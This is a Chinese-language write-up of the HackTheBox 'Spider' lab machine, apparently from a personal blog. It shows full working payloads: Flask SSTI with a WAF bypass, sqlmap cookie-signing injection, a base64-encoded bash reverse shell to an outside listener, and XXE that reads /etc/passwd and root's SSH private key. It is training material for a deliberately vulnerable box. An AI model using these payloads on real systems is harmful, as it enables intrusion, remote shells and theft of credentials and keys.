HackTheBox - Spider

本文最后更新于:2022年6月6日 晚上

0x01 端口探测

1
nmap -sC -sV -v 10.10.10.243
1
2
3
4
5
6
7
8
9
10
11
12
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
| 256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_ 256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

0x02 WebShell/User Shell

访问80端口,直接跳转到spider.htb,然后报错:

image-20211023123446608

在/etc/hosts将域名和端口进行绑定

image-20211023123627556

重新访问spider.htb,界面正常。

image-20211023123540245

抓包能够发现携带了cookie,根据cookie形式推测后端使用了flask:

image-20211023124830611

在用户注册界面尝试SSTI,用户名输入4:

image-20211023125010739

然后进入登录后界面的USER INFORMATION界面:

image-20211023125145997

发现成功解析:

image-20211023125153697

试着读一下config:

image-20211023132136519

image-20211023132405045

1
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

使用flask-session-cookie-manager对cookie进行解密,发现以uuid形式存储。即在这条路我们需要拿到管理员的uuid。

1
2
3
E:\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py decode -s Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942 -c eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjM3MTFkYzU0LThhZDEtNDNjOC05YjBlLTU5YjIzNzU5ZmU0MiJ9.YXORyQ.5Gl9TfDi1A0VQnsvjoEbBdJFLxU

{'cart_items': [], 'uuid': '3711dc54-8ad1-43c8-9b0e-59b23759fe42'}

换一条路试试命令执行,发现被限制了字符数,不太可能绕过:

image-20211023132211989

继续探索,最后在hacktricks上找到了一个关于flask的session注入的问题:

https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap#eval

Sqlmap allows the use of -e or --eval to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the flask cookie session is signed by flask with the known secret before sending it:

1
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

这里一开始没弄出来,最后发现是VPN的问题。换了个VPN后能跑出数据:

1
sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --dump

image-20211023195948896

dump后的数据如下,第一条即为管理员的信息:

image-20211023200030569

1
2
3
129f60ea-30cf-4065-afb9-6be45ad38b73
chiv
ch1VW4sHERE7331

以管理员身份登录,发现直接进入了admin panel:

image-20211023200249460

然年后有一个supportportal的url:

image-20211023200316675

http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

界面如下,不出意外的话又是一个SSTI:

image-20211023200704317

然后发现有WAF:

image-20211023202237405

最后构造出Payload的过程如下:

首先去PayloadAllTheThings上找了个Payload:

1
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

输入发现过滤了单引号',将单引号替换成双引号

1
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}

然后是发现{{}}被过滤,使用{%include ...%}的方式进行绕过:

1
{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")() %}

成功执行后服务器会报500的错误,没有回显。通过sleep函数判断是否能够执行命令,发现可以:

image-20211024123656754

接着构造反弹shell的payload,使用base64编码:

这里不知道为什么直接的bash -i >& /dev/tcp/10.10.16.33/4455 0>&1不能起作用,知道的师傅可以教教

1
2
bash -c 'exec bash -i >& /dev/tcp/10.10.16.33/4455 0>&1' #原payload
YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0NTUgMD4mMSc= #Base64编码
1
{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo -n YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0NTUgMD4mMSc= | base64 -d | bash")|attr("read")() %}

拿到普通用户的shell:

image-20211023212859982

直接去家目录下的.ssh目录翻私钥,然后连接之:

image-20211023213515953

0x03 Root Shell

拿到User Shell后尝试提权,在查看网络连接的时候发现有8080端口。使用curl测试发现是不同的app:

image-20211024170953998

于是使用ssh进行本地转发:

1
ssh -L 8888:localhost:8080 chiv@10.10.10.243 -i chiv

image-20211024171133075

这里以任意用户都能登录,登录后会分配又一个flask的cookie:

1
.eJxNjEFvgyAARv_KwnkH7WqTmexiAG03cKCActPRBC1as5HU2fS_z16aHb-8770rcPPgQHwFTy2IgUAUGzSX7HSQXPlRDqE6KvLbZrprBN6W6ZQYEUJWcSIh_xDIvpthv4jCw5WPhaBJjqeM94m-8_vWgYNMmQML0FZjm7cp9VTZTobiW0lTmBRXFFpCQr1Tbu1JVxE1M715Hf_7PLOXekFRs_ZJlXRNz18EItFXSuZc2YYv-FIP56B4_M1GnUxKsBMUecYWF9X9PiI4GT_L4A3cnsF07kb_A-Lg9gfxF1a8.YXQcMA._xj9xfPtBO9gayEARbgbcNUl-48

解密如下:

1
2
3
4
┌──(kali㉿kali)-[~/桌面]
└─$ flask-unsign --decode --cookie .eJxNjEFvgyAARv_KwnkH7WqTmexiAG03cKCActPRBC1as5HU2fS_z16aHb-8770rcPPgQHwFTy2IgUAUGzSX7HSQXPlRDqE6KvLbZrprBN6W6ZQYEUJWcSIh_xDIvpthv4jCw5WPhaBJjqeM94m-8_vWgYNMmQML0FZjm7cp9VTZTobiW0lTmBRXFFpCQr1Tbu1JVxE1M715Hf_7PLOXekFRs_ZJlXRNz18EItFXSuZc2YYv-FIP56B4_M1GnUxKsBMUecYWF9X9PiI4GT_L4A3cnsF07kb_A-Lg9gfxF1a8.YXQcMA._xj9xfPtBO9gayEARbgbcNUl-48

{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWRtaW48L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==', 'points': 0}

Base64内容解码,发现有xml,推测存在xxe:

1
2
3
4
5
6
7
<!-- API Version 1.0.0 -->
<root>
<data>
<username>admin</username>
<is_admin>0</is_admin>
</data>
</root>

开始查找利用点,抓包发现登录时有个version参数,这个会影响到后面cookie的生成:

image-20211024103027313

于是乎这里就很明显了,我们可以通过闭合注释注入xml代码,造成xxe。

这里还有一点,就是username参数也在xml的便签中,我们便可以将输入&admin;,将一个admin实体注入进去。

构造payload如下:

1
username=%26admin%3b&version=1.0.0 --><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///etc/passwd'>]><!--

使用生成的cookie访问site,能够发现回显:

image-20211024111438234

这样的利用方式就比较简单了,我们直接读取root用户的私钥即可:

1
username=%26admin%3b&version=1.0.0 --><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///root/.ssh/id_rsa'>]><!--

image-20211024111818598

image-20211024111806257

保存后ssh登录即可:

image-20211024125240826

0x03 Summary

这是一个Medium难度的Linux靶机,主要考察内容如下:

  • SSTI
  • Flask Session注入
  • WAF绕过
  • XXE

HackTheBox - Spider
https://m0ck1ng-b1rd.github.io/2021/12/07/HTB/Spider/
作者
何语灵
发布于
2021年12月7日
许可协议